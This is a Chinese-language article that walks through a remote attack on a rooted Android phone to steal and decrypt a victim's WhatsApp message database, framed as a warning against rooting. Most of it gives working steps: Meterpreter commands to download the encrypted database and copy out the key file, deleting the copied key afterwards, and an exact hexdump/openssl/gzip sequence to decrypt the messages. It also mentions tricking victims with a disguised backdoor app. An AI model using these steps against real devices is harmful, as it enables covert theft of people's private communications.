攻擊者是如何一步步拿下你的WhatsApp數(shù)據(jù)庫
針對(duì)已root過的安卓移動(dòng)設(shè)備,本文主要講解遠(yuǎn)程攻擊并解密WhatsApp數(shù)據(jù)庫的詳細(xì)過程。另外,這再一次提醒我們,對(duì)移動(dòng)設(shè)備進(jìn)行root(安卓)或越獄(iOS),將使用戶暴露在黑客攻擊之下。
幾小時(shí)前,網(wǎng)絡(luò)上發(fā)布了一個(gè)有趣的文章《如何遠(yuǎn)程破解并解密WhatsApp數(shù)據(jù)庫[ROOT] 》,文中解釋了如何從一個(gè)root過的安卓系統(tǒng)中提取并解密WhatsApp數(shù)據(jù)庫。盡管通常情況下WhatsApp非常安全,但對(duì)安卓設(shè)備的root處理將可能使用戶暴露在攻擊風(fēng)險(xiǎn)之中。
接下來,就讓我們一步一步看看作者(使用匿名F.E.A.R.)所提出的攻擊場景。
步驟1:利用并獲取安卓設(shè)備的訪問權(quán)限
正如這篇指南中所解釋的,如果安卓設(shè)備通過使用Meterpeter命令進(jìn)行了root,那么這一階段將變得很簡單。
為了攻擊并解密WhatsApp數(shù)據(jù)庫,攻擊者需要一個(gè)存在于數(shù)據(jù)文件夾中的密鑰文件,而訪問該文件的唯一途徑就是擁有root權(quán)限。此外,該密鑰文件是解密WhatsApp數(shù)據(jù)庫所必不可少的。
步驟2:下載數(shù)據(jù)庫
使用下列命令通過Meterpreter下載數(shù)據(jù)庫:
cd / cd /sdcard/WhatsApp ls (打印當(dāng)前目錄) cd Databases
下載msgstore.db.crypt8 (這里需要耗費(fèi)一些時(shí)間,可能很長)
步驟3:提取解密密鑰
解密WhatsApp數(shù)據(jù)庫所必需的密鑰文件中存儲(chǔ)了兩套解密密鑰,即實(shí)際的加密密鑰K和一個(gè)名為IV的初始化向量。值得一提的是,WhatsApp密鑰文件存儲(chǔ)在一個(gè)安全的位置。下面這些都是提取密鑰文件的命令:
shell su(超級(jí)用戶訪問或僅僅進(jìn)行提權(quán))
正如F.E.A.R.所解釋的,這是最困難的部分,特別是如果目標(biāo)手機(jī)用戶是有經(jīng)驗(yàn)且熟練的用戶,因?yàn)樗仨氁呀?jīng)安裝SuperSU應(yīng)用程序。
如何誘導(dǎo)受害者安裝SuperSU?
可以看一下用戶bart發(fā)布的這篇教程,里面解釋了如何偽裝一個(gè)后門應(yīng)用程序。不過,如果下列場景中的受害者并非是一個(gè)有經(jīng)驗(yàn)的或熟練的用戶,那么事情將變得更加簡單:
1、他們沒有安裝SuperSU應(yīng)用程序。
2、對(duì)于新安裝的應(yīng)用,他們沒有改變?cè)O(shè)置為PROMPT,而并非GRANT。
執(zhí)行以下命令來訪問密鑰文件夾,并提取解密密鑰。
cd / cd /data/data ls cd com.whatsapp ls cd files ls cp key /sdcard/Download (意思是將文件key拷貝到/sdcard/Download文件夾)
步驟4:下載解密密鑰文件到root目錄
下載提取的密鑰文件到root目錄,該目錄中還含有加密的WhatsApp數(shù)據(jù)庫:
cd / cd /sdcard/Download download key rm key (確保你刪除了key文件)
步驟5:解密WhatsApp數(shù)據(jù)庫
文章中報(bào)道了2種不同的方法來解密WhatsApp:
(1)使用Linux命令:每次復(fù)制并粘貼一條命令,不要將它們寫成一個(gè)腳本文件,否則它將不能正常工作:
hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txt
hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txt
dd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gz
gzip -cdq msgstore.gz > msgstore.db
如果第4行命令不能工作,那么就按下面的指令操作:
hexdump -e ‘2/1 “%02x”‘ key | cut -b 253-316
hexdump -n 67 -e ‘2/1 “%02x”‘ msgstore.db.crypt8 | cut -b 103-134
openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K (從第1條指令中粘貼文本文檔) -iv (從第2條指令中粘貼文本文檔) > msgstore.gz
(2)第二種方法基于簡單的Windows WhatsApp查看器應(yīng)用程序,可以看一下原文。
這是又一次的教訓(xùn),對(duì)移動(dòng)設(shè)備進(jìn)行root(安卓)或越獄(iOS),將使用戶暴露在黑客攻擊之下。